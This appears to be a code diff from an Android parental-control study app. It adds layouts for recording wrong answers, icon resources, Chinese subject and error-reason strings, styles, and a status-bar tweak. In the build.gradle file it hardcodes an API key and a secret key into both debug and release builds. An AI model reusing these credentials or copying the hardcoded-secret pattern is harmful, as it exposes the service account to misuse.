259 android:layout_height="wrap_content" 260 android:layout_height="wrap_content"
260 android:layout_below="@+id/iv_empty" 261 android:layout_below="@+id/iv_empty"
261 android:layout_centerHorizontal="true" 262 android:layout_centerHorizontal="true"
262 android:layout_gravity="center_horizontal" 263 android:layout_gravity="center_horizontal"
263 android:layout_marginTop="18dp" 264 android:layout_marginTop="18dp"
264 android:text="暂无学习计划" 265 android:text="暂无学习计划"
265 android:textColor="#666666" 266 android:textColor="#666666"
266 android:textSize="12dp" /> 267 android:textSize="12dp" />
267 268
268 <androidx.recyclerview.widget.RecyclerView 269 <androidx.recyclerview.widget.RecyclerView
269 android:id="@+id/recycle" 270 android:id="@+id/recycle"
270 android:layout_width="match_parent" 271 android:layout_width="match_parent"
271 android:layout_height="match_parent" 272 android:layout_height="match_parent"
272 android:layout_below="@+id/rl_schedule" /> 273 android:layout_below="@+id/rl_schedule" />
273 </RelativeLayout> 274 </RelativeLayout>
274 275
275 276
276 </androidx.constraintlayout.widget.ConstraintLayout> 277 </androidx.constraintlayout.widget.ConstraintLayout>
app/src/main/res/layout/item_error.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:tools="http://schemas.android.com/tools"
3 android:layout_width="match_parent"
4 android:layout_height="wrap_content"
5 android:orientation="vertical">
6
7 <TextView
8 android:id="@+id/tv_time"
9 android:layout_width="wrap_content"
10 android:layout_height="wrap_content"
11 android:layout_marginLeft="15dp"
12 android:layout_marginBottom="15dp"
13 android:textColor="#999999"
14 android:textSize="14sp" />
15
16 <LinearLayout
17 android:layout_width="match_parent"
18 android:layout_height="wrap_content"
19 android:layout_marginLeft="15dp"
20 android:layout_marginRight="15dp"
21 android:layout_marginBottom="15dp"
22 android:background="@drawable/bg_item_video_10"
23 android:orientation="vertical"
24 android:paddingBottom="15dp">
25
26 <RelativeLayout
27 android:layout_width="wrap_content"
28 android:layout_height="wrap_content"
29 android:layout_marginLeft="15dp"
30 android:layout_marginTop="15dp"
31 android:layout_marginRight="15dp">
32
33 <ImageView
34 android:id="@+id/iv_check"
35 android:layout_width="20dp"
36 android:layout_height="20dp"
37 android:layout_centerVertical="true"
38 android:layout_marginRight="5dp"
39 android:src="@mipmap/ic_unselect" />
40
41 <TextView
42 android:id="@+id/tv_reason"
43 android:layout_width="wrap_content"
44 android:layout_height="wrap_content"
45 android:layout_centerVertical="true"
46 android:layout_toRightOf="@+id/iv_check"
47 android:textColor="#333333"
48 android:textSize="14sp" />
49
50 <TextView
51 android:id="@+id/tv_type"
52 android:layout_width="50dp"
53 android:layout_height="20dp"
54 android:layout_alignParentRight="true"
55 android:layout_centerVertical="true"
56 android:layout_marginRight="15dp"
57 android:background="@drawable/bg_undo_text"
58 android:gravity="center"
59 android:text="@string/text_undo"
60 android:textColor="@color/white"
61 android:textSize="12sp" />
62 </RelativeLayout>
63
64 <WebView
65 android:id="@+id/webview"
66 android:layout_width="match_parent"
67 android:layout_height="wrap_content"
68 android:layout_marginLeft="15dp"
69 android:layout_marginTop="10dp"
70 android:layout_marginRight="15dp"
71 android:scrollbars="none"
72 tools:ignore="WebViewLayout" />
73
74 <ImageView
75 android:id="@+id/iv_topic"
76 android:layout_width="match_parent"
77 android:layout_height="wrap_content"
78 android:layout_marginLeft="15dp"
79 android:layout_marginTop="15dp"
80 android:layout_marginRight="15dp"
81 android:layout_marginBottom="15dp" />
82
83 <TextView
84 android:id="@+id/tv_point"
85 android:layout_width="match_parent"
86 android:layout_height="25dp"
87 android:layout_marginLeft="15dp"
88 android:layout_marginRight="15dp"
89 android:background="@drawable/bg_soild_blue_5"
90 android:ellipsize="end"
91 android:gravity="center_vertical"
92 android:paddingLeft="15dp"
93 android:paddingRight="15dp"
94 android:singleLine="true"
95 android:textColor="@color/white"
96 android:textSize="12sp" />
97 </LinearLayout>
98 </LinearLayout>
app/src/main/res/layout/item_filter_text.xml
File was created 1 <TextView xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/tv_filter"
3 android:layout_width="match_parent"
4 android:layout_height="30dp"
5 android:layout_marginRight="15dp"
6 android:layout_marginBottom="15dp"
7 android:background="@drawable/bg_solid_btn_grad"
8 android:gravity="center"
9 android:singleLine="true"
10 android:textColor="@color/text_title"
11 android:textSize="14sp" />
app/src/main/res/layout/item_for_custom_spinner.xml
File was created 1 <TextView xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/tv_spinner"
3 android:layout_width="match_parent"
4 android:layout_height="30dp"
5 android:ellipsize="marquee"
6 android:gravity="center_vertical"
7 android:paddingLeft="15dp"
8 android:singleLine="true"
9 android:textColor="@color/text_title"
10 android:textSize="14sp" />
11
12
app/src/main/res/layout/item_image.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="match_parent">
4
5 <RelativeLayout
6 android:layout_width="match_parent"
7 android:layout_height="match_parent"
8 android:layout_margin="15dp"
9 android:background="@drawable/bg_solid_white_10">
10
11 <ImageView
12 android:id="@+id/iv_pic"
13 android:layout_width="wrap_content"
14 android:layout_height="wrap_content"
15 android:layout_centerInParent="true" />
16
17 <RelativeLayout
18 android:id="@+id/rl_pic"
19 android:layout_width="wrap_content"
20 android:layout_height="wrap_content"
21 android:layout_centerInParent="true" />
22 </RelativeLayout>
23 </LinearLayout>
app/src/main/res/layout/item_subject.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/rl_subject"
3 android:layout_width="wrap_content"
4 android:layout_height="wrap_content">
5
6 <ImageView
7 android:id="@+id/iv_subject"
8 android:layout_width="45dp"
9 android:layout_height="45dp"
10 android:layout_centerHorizontal="true"
11 android:scaleType="fitXY" />
12
13 <TextView
14 android:id="@+id/tv_subject"
15 android:layout_width="wrap_content"
16 android:layout_height="wrap_content"
17 android:layout_below="@+id/iv_subject"
18 android:layout_centerHorizontal="true"
19 android:layout_marginTop="10dp"
20 android:textColor="#333333"
21 android:textSize="14sp" />
22 </RelativeLayout>
app/src/main/res/layout/item_topic.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="75dp"
3 android:layout_height="30dp"
4 android:layout_marginRight="10dp">
5
6 <TextView
7 android:id="@+id/tv_name"
8 android:layout_width="70dp"
9 android:layout_height="25dp"
10 android:gravity="center"
11 android:textSize="14sp" />
12
13 <ImageView
14 android:id="@+id/iv_click"
15 android:layout_width="20dp"
16 android:layout_height="20dp"
17 android:layout_alignParentRight="true"
18 android:layout_alignParentBottom="true"
19 android:src="@mipmap/ic_click" />
20
21 </RelativeLayout>
app/src/main/res/layout/layout_select.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/rl_add"
3 android:layout_width="wrap_content"
4 android:layout_height="wrap_content"
5 android:background="@drawable/bg_cut_unselect">
6
7 <ImageView
8 android:id="@+id/iv_state"
9 android:layout_width="12dp"
10 android:layout_height="12dp"
11 android:layout_centerInParent="true"
12 android:src="@mipmap/ic_add" />
13
14 <ImageView
15 android:id="@+id/iv_edit"
16 android:layout_width="20dp"
17 android:layout_height="20dp"
18 android:layout_alignParentRight="true"
19 android:background="#80000000"
20 android:padding="5dp"
21 android:src="@mipmap/ic_edit" />
22 </RelativeLayout>
app/src/main/res/mipmap-xhdpi/ic_add.png

598 Bytes

app/src/main/res/mipmap-xhdpi/ic_add_success.png

4.38 KB

app/src/main/res/mipmap-xhdpi/ic_arrow_right.png

586 Bytes

app/src/main/res/mipmap-xhdpi/ic_chemistry.png

6.96 KB

app/src/main/res/mipmap-xhdpi/ic_chinese.png

7.01 KB

app/src/main/res/mipmap-xhdpi/ic_click.png

1.78 KB

app/src/main/res/mipmap-xhdpi/ic_close.png

900 Bytes

app/src/main/res/mipmap-xhdpi/ic_delete.png

1.53 KB

app/src/main/res/mipmap-xhdpi/ic_edit.png

351 Bytes

app/src/main/res/mipmap-xhdpi/ic_empty.png

54.9 KB

app/src/main/res/mipmap-xhdpi/ic_english.png

8 KB

app/src/main/res/mipmap-xhdpi/ic_error_edit.png

1.23 KB

app/src/main/res/mipmap-xhdpi/ic_math.png

7.35 KB

app/src/main/res/mipmap-xhdpi/ic_next.png

665 Bytes

app/src/main/res/mipmap-xhdpi/ic_next_gray.png

661 Bytes

app/src/main/res/mipmap-xhdpi/ic_photo_again.png

1.23 KB

app/src/main/res/mipmap-xhdpi/ic_physics.png

7.06 KB

app/src/main/res/mipmap-xhdpi/ic_pic_edit.png

685 Bytes

app/src/main/res/mipmap-xhdpi/ic_previous.png

564 Bytes

app/src/main/res/mipmap-xhdpi/ic_previous_gray.png

1.03 KB

app/src/main/res/mipmap-xhdpi/ic_rotate.png

1.01 KB

app/src/main/res/mipmap-xhdpi/ic_select.png

1.33 KB

app/src/main/res/mipmap-xhdpi/ic_selected.png

562 Bytes

app/src/main/res/mipmap-xhdpi/ic_take_photo.png

130 KB

app/src/main/res/mipmap-xhdpi/ic_unselect.png

917 Bytes

app/src/main/res/mipmap-xxhdpi/ic_add.png

1.12 KB

app/src/main/res/mipmap-xxhdpi/ic_add_success.png

8.13 KB

app/src/main/res/mipmap-xxhdpi/ic_arrow_right.png

949 Bytes

app/src/main/res/mipmap-xxhdpi/ic_chemistry.png

17.2 KB

app/src/main/res/mipmap-xxhdpi/ic_chinese.png

17 KB

app/src/main/res/mipmap-xxhdpi/ic_click.png

2.04 KB

app/src/main/res/mipmap-xxhdpi/ic_close.png

1.44 KB

app/src/main/res/mipmap-xxhdpi/ic_delete.png

2.72 KB

app/src/main/res/mipmap-xxhdpi/ic_edit.png

640 Bytes

app/src/main/res/mipmap-xxhdpi/ic_empty.png

108 KB

app/src/main/res/mipmap-xxhdpi/ic_english.png

19 KB

app/src/main/res/mipmap-xxhdpi/ic_error_edit.png

2.92 KB

app/src/main/res/mipmap-xxhdpi/ic_math.png

17.7 KB

app/src/main/res/mipmap-xxhdpi/ic_next.png

999 Bytes

app/src/main/res/mipmap-xxhdpi/ic_next_gray.png

1.04 KB

app/src/main/res/mipmap-xxhdpi/ic_photo_again.png

2.14 KB

app/src/main/res/mipmap-xxhdpi/ic_physics.png

17.1 KB

app/src/main/res/mipmap-xxhdpi/ic_pic_edit.png

1.35 KB

app/src/main/res/mipmap-xxhdpi/ic_previous.png

938 Bytes

app/src/main/res/mipmap-xxhdpi/ic_previous_gray.png

1.03 KB

app/src/main/res/mipmap-xxhdpi/ic_rotate.png

1.75 KB

app/src/main/res/mipmap-xxhdpi/ic_select.png

2.48 KB

app/src/main/res/mipmap-xxhdpi/ic_selected.png

902 Bytes

app/src/main/res/mipmap-xxhdpi/ic_take_photo.png

414 KB

app/src/main/res/mipmap-xxhdpi/ic_unselect.png

1.74 KB

app/src/main/res/mipmap-xxxhdpi/ic_add.png

1.13 KB

app/src/main/res/mipmap-xxxhdpi/ic_add_success.png

8.93 KB

app/src/main/res/mipmap-xxxhdpi/ic_arrow_right.png

1.09 KB

app/src/main/res/mipmap-xxxhdpi/ic_chemistry.png

26.6 KB

app/src/main/res/mipmap-xxxhdpi/ic_chinese.png

26 KB

app/src/main/res/mipmap-xxxhdpi/ic_close.png

1.64 KB

app/src/main/res/mipmap-xxxhdpi/ic_delete.png

3.69 KB

app/src/main/res/mipmap-xxxhdpi/ic_edit.png

801 Bytes

app/src/main/res/mipmap-xxxhdpi/ic_empty.png

165 KB

app/src/main/res/mipmap-xxxhdpi/ic_english.png

29.4 KB

app/src/main/res/mipmap-xxxhdpi/ic_math.png

26.5 KB

app/src/main/res/mipmap-xxxhdpi/ic_next.png

1.23 KB

app/src/main/res/mipmap-xxxhdpi/ic_next_gray.png

1.17 KB

app/src/main/res/mipmap-xxxhdpi/ic_photo_again.png

2.43 KB

app/src/main/res/mipmap-xxxhdpi/ic_physics.png

26.3 KB

app/src/main/res/mipmap-xxxhdpi/ic_pic_edit.png

1.22 KB

app/src/main/res/mipmap-xxxhdpi/ic_previous.png

1.15 KB

app/src/main/res/mipmap-xxxhdpi/ic_previous_gray.png

1.15 KB

app/src/main/res/mipmap-xxxhdpi/ic_rotate.png

2.44 KB

app/src/main/res/mipmap-xxxhdpi/ic_select.png

2.72 KB

app/src/main/res/mipmap-xxxhdpi/ic_selected.png

1.18 KB

app/src/main/res/mipmap-xxxhdpi/ic_take_photo.png

679 KB

app/src/main/res/mipmap-xxxhdpi/ic_unselect.png

1.87 KB

app/src/main/res/values/colors.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <resources> 2 <resources>
3 <color name="purple_200">#FFBB86FC</color> 3 <color name="purple_200">#FFBB86FC</color>
4 <color name="purple_500">#FF6200EE</color> 4 <color name="purple_500">#FF6200EE</color>
5 <color name="purple_700">#FF3700B3</color> 5 <color name="purple_700">#FF3700B3</color>
6 <color name="teal_200">#FF03DAC5</color> 6 <color name="teal_200">#FF03DAC5</color>
7 <color name="teal_700">#FF018786</color> 7 <color name="teal_700">#FF018786</color>
8 <color name="black">#FF000000</color> 8 <color name="black">#FF000000</color>
9 <color name="white">#FFFFFFFF</color> 9 <color name="white">#FFFFFFFF</color>
10 <color name="c_1">#FE5E09</color> 10 <color name="c_1">#FE5E09</color>
11 <color name="c_2">#333333</color> 11 <color name="c_2">#333333</color>
12 <color name="undo_red">#FF5052</color>
13 <color name="error_blue">#2792F0</color>
14 <color name="select_fill">#1A4251E7</color>
15 <color name="select_border">#4251E7</color>
16 <color name="text_title">#333333</color>
17 <color name="border">#CCCCCC</color>
12 </resources> 18 </resources>
app/src/main/res/values/strings.xml
1 <resources> 1 <resources>
2 <string name="app_name">家长管控</string> 2 <string name="app_name">家长管控</string>
3 <string name="chinese">语文</string>
4 <string name="math">数学</string>
5 <string name="english">英语</string>
6 <string name="physics">物理</string>
7 <string name="chemistry">化学</string>
8 <string name="text_done">已掌握</string>
9 <string name="text_undo">未掌握</string>
10 <string name="topic_start">知识点</string>
11 <string name="loading_text">图片处理中,请稍后。。。</string>
12 <string name="num_topic">第%1$s题</string>
13 <string name="topic_type_in">课内</string>
14 <string name="topic_type_out">课外</string>
15 <string-array name="filter_subject">
16 <item>@string/chinese</item>
17 <item>@string/math</item>
18 <item>@string/english</item>
19 <item>@string/physics</item>
20 <item>@string/chemistry</item>
21 </string-array>
22 <string-array name="error_reason">
23 <item>审题错误</item>
24 <item>思路错误</item>
25 <item>运算错误</item>
26 <item>概念模糊</item>
27 <item>粗心大意</item>
28 <item>其他错误</item>
29 </string-array>
3 </resources> 30 </resources>
app/src/main/res/values/styles.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <resources> 2 <resources>
3 3
4 4
5 <style name="ThemeSplash" parent="Theme.AppCompat.Light.NoActionBar"> 5 <style name="ThemeSplash" parent="Theme.AppCompat.Light.NoActionBar">
6 <item name="android:windowBackground">@drawable/welcome_bg</item> 6 <item name="android:windowBackground">@drawable/welcome_bg</item>
7 <item name="colorPrimaryDark">@android:color/transparent</item> 7 <item name="colorPrimaryDark">@android:color/transparent</item>
8 <item name="windowActionBar">false</item> 8 <item name="windowActionBar">false</item>
9 <item name="windowNoTitle">true</item> 9 <item name="windowNoTitle">true</item>
10 <item name="android:windowFullscreen">true</item> 10 <item name="android:windowFullscreen">true</item>
11 </style> 11 </style>
12 12
13 <style name="main_bottom_navigaton_menu_item"> 13 <style name="main_bottom_navigaton_menu_item">
14 <item name="android:layout_width">0dp</item> 14 <item name="android:layout_width">0dp</item>
15 <item name="android:layout_weight">1</item> 15 <item name="android:layout_weight">1</item>
16 <item name="android:layout_height">match_parent</item> 16 <item name="android:layout_height">match_parent</item>
17 <item name="android:background">@android:color/transparent</item> 17 <item name="android:background">@android:color/transparent</item>
18 <item name="android:button">@null</item> 18 <item name="android:button">@null</item>
19 <item name="android:gravity">center</item> 19 <item name="android:gravity">center</item>
20 <item name="android:textSize">11dp</item> 20 <item name="android:textSize">11dp</item>
21 <item name="android:drawablePadding">2dp</item> 21 <item name="android:drawablePadding">2dp</item>
22 </style> 22 </style>
23 <!--实现BottomSheetDialog圆角效果--> 23 <!--实现BottomSheetDialog圆角效果-->
24 <style name="BottomSheetDialog" parent="Theme.Design.Light.BottomSheetDialog"> 24 <style name="BottomSheetDialog" parent="Theme.Design.Light.BottomSheetDialog">
25 <item name="bottomSheetStyle">@style/bottomSheetStyleWrapper</item> 25 <item name="bottomSheetStyle">@style/bottomSheetStyleWrapper</item>
26 </style> 26 </style>
27
27 <style name="bottomSheetStyleWrapper" parent="Widget.Design.BottomSheet.Modal"> 28 <style name="bottomSheetStyleWrapper" parent="Widget.Design.BottomSheet.Modal">
28 <item name="android:background">@android:color/transparent</item> 29 <item name="android:background">@android:color/transparent</item>
29 <item name="android:navigationBarColor">@android:color/transparent</item> 30 <item name="android:navigationBarColor">@android:color/transparent</item>
30 <item name="behavior_peekHeight">500dp</item> 31 <item name="behavior_peekHeight">500dp</item>
31 </style> 32 </style>
33
34 <style name="MyAlertDialog" parent="android:Theme.Material.Dialog.Alert">
35 <!--背景颜色及和透明程度-->
36 <item name="android:windowBackground">@null</item>
37 <!--是否去除标题 -->
38 <item name="android:windowNoTitle">true</item>
39 <!--是否去除边框-->
40 <item name="android:windowFrame">@null</item>
41 <!--是否浮现在activity之上-->
42 <item name="android:windowIsFloating">true</item>
43 <!--是否模糊-->
44 <item name="android:backgroundDimEnabled">true</item>
45 <item name="android:windowIsTranslucent">true</item><!--半透明-->
46 <item name="android:windowSoftInputMode">stateVisible|adjustPan</item>
47 </style>
48
49 <style name="customSpinnerStyle" parent="android:Widget.ListView.DropDown">
50 <item name="divider">@color/border</item>
51 <item name="android:scrollbars">none</item>
52 <item name="android:dividerHeight">1dp</item>
53 </style>
54
55
56
32 </resources> 57 </resources>
app/src/main/res/values/themes.xml
1 <resources xmlns:tools="http://schemas.android.com/tools"> 1 <resources xmlns:tools="http://schemas.android.com/tools">
2 <!-- Base application theme. --> 2 <!-- Base application theme. -->
3 <style name="Theme.Parent" parent="Theme.AppCompat.Light.DarkActionBar"> 3 <style name="Theme.Parent" parent="Theme.AppCompat.Light.DarkActionBar">
4 <!-- Primary brand color. --> 4 <!-- Primary brand color. -->
5 <item name="colorPrimary">@color/purple_500</item> 5 <item name="colorPrimary">@color/purple_500</item>
6 <item name="colorPrimaryVariant">@color/purple_700</item> 6 <item name="colorPrimaryVariant">@color/purple_700</item>
7 <item name="colorOnPrimary">@color/white</item> 7 <item name="colorOnPrimary">@color/white</item>
8 <!-- Secondary brand color. --> 8 <!-- Secondary brand color. -->
9 <item name="colorSecondary">@color/teal_200</item> 9 <item name="colorSecondary">@color/teal_200</item>
10 <item name="colorSecondaryVariant">@color/teal_700</item> 10 <item name="colorSecondaryVariant">@color/teal_700</item>
11 <item name="colorOnSecondary">@color/black</item> 11 <item name="colorOnSecondary">@color/black</item>
12 <!-- Status bar color. --> 12 <!-- Status bar color. -->
13 <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item> 13 <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
14 <!-- Customize your theme here. --> 14 <!-- Customize your theme here. -->
15 </style> 15 </style>
16
16 </resources> 17 </resources>
libs/common/build.gradle
1 apply plugin: 'com.android.library' 1 apply plugin: 'com.android.library'
2 apply from: '../../config.gradle' 2 apply from: '../../config.gradle'
3 3
4 4
5
6 def androidId = rootProject.ext.androidId 5 def androidId = rootProject.ext.androidId
7 def support = rootProject.ext.dependencies 6 def support = rootProject.ext.dependencies
8 def url = rootProject.ext.url 7 def url = rootProject.ext.url
9 8
10 9
11 android { 10 android {
12 compileSdkVersion androidId.compileSdkVersion 11 compileSdkVersion androidId.compileSdkVersion
13 12
14 13
15 defaultConfig { 14 defaultConfig {
16 minSdkVersion androidId.minSdkVersion 15 minSdkVersion androidId.minSdkVersion
17 targetSdkVersion androidId.targetSdkVersion 16 targetSdkVersion androidId.targetSdkVersion
18 versionCode androidId.versionCode 17 versionCode androidId.versionCode
19 versionName androidId.versionName 18 versionName androidId.versionName
20 19
21 testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 20 testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
22 21
23 } 22 }
24 23
25 buildTypes { 24 buildTypes {
26 debug { 25 debug {
27 minifyEnabled false 26 minifyEnabled false
28 buildConfigField("String", "SERVER_URL", "\"${url.server_url}\"") 27 buildConfigField("String", "SERVER_URL", "\"${url.server_url}\"")
28 buildConfigField("String", "APIKey", "\"OmmSqorNFXjVHXlZWhHAyGyQ\"")
29 buildConfigField("String", "SecretKey", "\"Uwjz4XGi89RN4Mvl5mievKpjqpGgUy6D\"")
29 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 30 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
30 } 31 }
31 release { 32 release {
32 minifyEnabled false 33 minifyEnabled false
33 buildConfigField("String", "SERVER_URL", "\"${url.server_url_online}\"") 34 buildConfigField("String", "SERVER_URL", "\"${url.server_url_online}\"")
35 buildConfigField("String", "APIKey", "\"OmmSqorNFXjVHXlZWhHAyGyQ\"")
36 buildConfigField("String", "SecretKey", "\"Uwjz4XGi89RN4Mvl5mievKpjqpGgUy6D\"")
34 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 37 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
35 } 38 }
36 } 39 }
37 40
38 compileOptions { 41 compileOptions {
39 sourceCompatibility JavaVersion.VERSION_1_8 42 sourceCompatibility JavaVersion.VERSION_1_8
40 targetCompatibility JavaVersion.VERSION_1_8 43 targetCompatibility JavaVersion.VERSION_1_8
41 } 44 }
42 } 45 }
43 46
44 dependencies { 47 dependencies {
45 implementation fileTree(include: ['*.jar'], dir: 'libs') 48 implementation fileTree(include: ['*.jar'], dir: 'libs')
46 49
47 50
48 support.each { k, v -> implementation v } 51 support.each { k, v -> implementation v }
49 52
50 53
libs/common/src/main/java/com/prws/common/base/BaseActivity.java
1 package com.prws.common.base; 1 package com.prws.common.base;
2 2
3 3
4 import android.app.Activity; 4 import android.app.Activity;
5 import android.app.AlertDialog; 5 import android.app.AlertDialog;
6 import android.content.Context; 6 import android.content.Context;
7 import android.content.DialogInterface; 7 import android.content.DialogInterface;
8 import android.content.Intent; 8 import android.content.Intent;
9 import android.graphics.Color;
9 import android.os.Bundle; 10 import android.os.Bundle;
10 import android.os.IBinder; 11 import android.os.IBinder;
11 import android.text.TextUtils; 12 import android.text.TextUtils;
12 import android.util.Log; 13 import android.util.Log;
13 import android.view.MotionEvent; 14 import android.view.MotionEvent;
14 import android.view.View; 15 import android.view.View;
15 import android.view.Window; 16 import android.view.Window;
16 import android.view.WindowManager; 17 import android.view.WindowManager;
17 import android.view.inputmethod.InputMethodManager; 18 import android.view.inputmethod.InputMethodManager;
18 import android.widget.EditText; 19 import android.widget.EditText;
19 import android.widget.Toast; 20 import android.widget.Toast;
20 21
21 import androidx.annotation.IdRes; 22 import androidx.annotation.IdRes;
22 import androidx.annotation.Nullable; 23 import androidx.annotation.Nullable;
23 import androidx.appcompat.app.AppCompatActivity; 24 import androidx.appcompat.app.AppCompatActivity;
24 import androidx.fragment.app.Fragment; 25 import androidx.fragment.app.Fragment;
25 import androidx.fragment.app.FragmentTransaction; 26 import androidx.fragment.app.FragmentTransaction;
26 import androidx.lifecycle.Lifecycle; 27 import androidx.lifecycle.Lifecycle;
27 28
28 import com.developer.wang.utils.PermissionUtils; 29 import com.developer.wang.utils.PermissionUtils;
29 import com.prws.common.R; 30 import com.prws.common.R;
30 import com.prws.common.net.INetEvent; 31 import com.prws.common.net.INetEvent;
31 import com.prws.common.utils.LogUtil; 32 import com.prws.common.utils.LogUtil;
32 import com.prws.common.utils.ScreenUtils; 33 import com.prws.common.utils.ScreenUtils;
33 import com.prws.common.utils.SharedPreferencesUtil; 34 import com.prws.common.utils.SharedPreferencesUtil;
34 import com.prws.common.view.LoadingView; 35 import com.prws.common.view.LoadingView;
35 36
36 import org.simple.eventbus.EventBus; 37 import org.simple.eventbus.EventBus;
37 38
38 import java.util.ArrayList; 39 import java.util.ArrayList;
39 import java.util.List; 40 import java.util.List;
40 41
41 import butterknife.ButterKnife; 42 import butterknife.ButterKnife;
42 import io.reactivex.disposables.CompositeDisposable; 43 import io.reactivex.disposables.CompositeDisposable;
43 import io.reactivex.disposables.Disposable; 44 import io.reactivex.disposables.Disposable;
44 45
45 46
46 /** 47 /**
47 * @author 描述:BaseActivity 48 * @author 描述:BaseActivity
48 */ 49 */
49 public abstract class BaseActivity<P extends BasePresenter, CONTRACT> extends AppCompatActivity implements INetEvent, BaseView { 50 public abstract class BaseActivity<P extends BasePresenter, CONTRACT> extends AppCompatActivity implements INetEvent, BaseView {
50 51
51 52
52 private LoadingView loading; 53 private LoadingView loading;
53 54
54 public static INetEvent mINetEvent; 55 public static INetEvent mINetEvent;
55 protected final String TAG = getClass().getSimpleName(); 56 protected final String TAG = getClass().getSimpleName();
56 private CompositeDisposable mCompositeDisposable; 57 private CompositeDisposable mCompositeDisposable;
57 protected P p; 58 protected P p;
58 59
59 /** 60 /**
60 * 获取布局文件 61 * 获取布局文件
61 * 62 *
62 * @return 63 * @return
63 */ 64 */
64 protected abstract int layoutResId(); 65 protected abstract int layoutResId();
65 66
66 /** 67 /**
67 * 让P层做相应需求 68 * 让P层做相应需求
68 */ 69 */
69 public abstract CONTRACT getContract(); 70 public abstract CONTRACT getContract();
70 71
71 /** 72 /**
72 * 子类获取具体契约 73 * 子类获取具体契约
73 */ 74 */
74 public abstract P getPresenter(); 75 public abstract P getPresenter();
75 76
76 @Override 77 @Override
77 protected void onCreate(@Nullable Bundle savedInstanceState) { 78 protected void onCreate(@Nullable Bundle savedInstanceState) {
78 super.onCreate(savedInstanceState); 79 super.onCreate(savedInstanceState);
79 setNetEvent(); 80 setNetEvent();
80 initPresenter(); 81 initPresenter();
81 // setWindow(); 82 showWhiteStatus();
82 setContentView(layoutResId()); 83 setContentView(layoutResId());
83 ButterKnife.bind(this); 84 ButterKnife.bind(this);
84 registerEventBus(); 85 registerEventBus();
85 initView(); 86 initView();
86 initListener(); 87 initListener();
87 initData(); 88 initData();
88 89
89 } 90 }
90 91
91 92
93 public void showWhiteStatus() {
94 Window window = getWindow();
95 window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
96 window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
97 window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
98 window.setStatusBarColor(Color.TRANSPARENT);
99 }
100
101
92 @Override 102 @Override
93 protected void onResume() { 103 protected void onResume() {
94 super.onResume(); 104 super.onResume();
95 } 105 }
96 106
97 protected abstract void initView(); 107 protected abstract void initView();
98 108
99 protected abstract void initListener(); 109 protected abstract void initListener();
100 110
101 protected abstract void initData(); 111 protected abstract void initData();
102 112
103 113
104 private void setNetEvent() { 114 private void setNetEvent() {
105 mINetEvent = this; 115 mINetEvent = this;
106 } 116 }
107 117
108 private void initPresenter() { 118 private void initPresenter() {
109 p = getPresenter(); 119 p = getPresenter();
110 if (p != null) 120 if (p != null)
111 p.bindView(this); 121 p.bindView(this);
112 } 122 }
113 123
114 public void showDialog(String title, String message, String confirm, String cancel, DialogInterface.OnClickListener cancelListener, DialogInterface.OnClickListener listener) { 124 public void showDialog(String title, String message, String confirm, String cancel, DialogInterface.OnClickListener cancelListener, DialogInterface.OnClickListener listener) {
115 AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Light_Dialog_Alert); 125 AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Light_Dialog_Alert);
116 builder.setTitle(title); 126 builder.setTitle(title);
117 builder.setMessage(message); 127 builder.setMessage(message);
118 builder.setCancelable(false); 128 builder.setCancelable(false);
119 if (!TextUtils.isEmpty(cancel)) { 129 if (!TextUtils.isEmpty(cancel)) {
120 builder.setNegativeButton(cancel, cancelListener); 130 builder.setNegativeButton(cancel, cancelListener);
121 } 131 }
122 builder.setPositiveButton(confirm, listener); 132 builder.setPositiveButton(confirm, listener);
123 builder.show(); 133 builder.show();
124 } 134 }
125 135
126 private void setWindow() { 136 private void setWindow() {
127 Window window = getWindow(); 137 Window window = getWindow();
128 WindowManager.LayoutParams params = window.getAttributes(); 138 WindowManager.LayoutParams params = window.getAttributes();
129 params.systemUiVisibility = View.SYSTEM_UI_FLAG_FULLSCREEN 139 params.systemUiVisibility = View.SYSTEM_UI_FLAG_FULLSCREEN
130 ; 140 ;
131 window.setAttributes(params); 141 window.setAttributes(params);
132 } 142 }
133 143
134 144
135 private void addNavigationBar() { 145 private void addNavigationBar() {
136 //判断是否有浮窗权限 146 //判断是否有浮窗权限
137 if (PermissionUtils.requestWindowManager(this)) { 147 if (PermissionUtils.requestWindowManager(this)) {
138 //开启浮窗 148 //开启浮窗
139 // openFloatWindow(); 149 // openFloatWindow();
140 } else { 150 } else {
141 showAlertDialogOfFloatWindow(); 151 showAlertDialogOfFloatWindow();
142 } 152 }
143 } 153 }
144 154
145 // public void openFloatWindow() { 155 // public void openFloatWindow() {
146 // if (FloatWindow.get("navigation") == null) { 156 // if (FloatWindow.get("navigation") == null) {
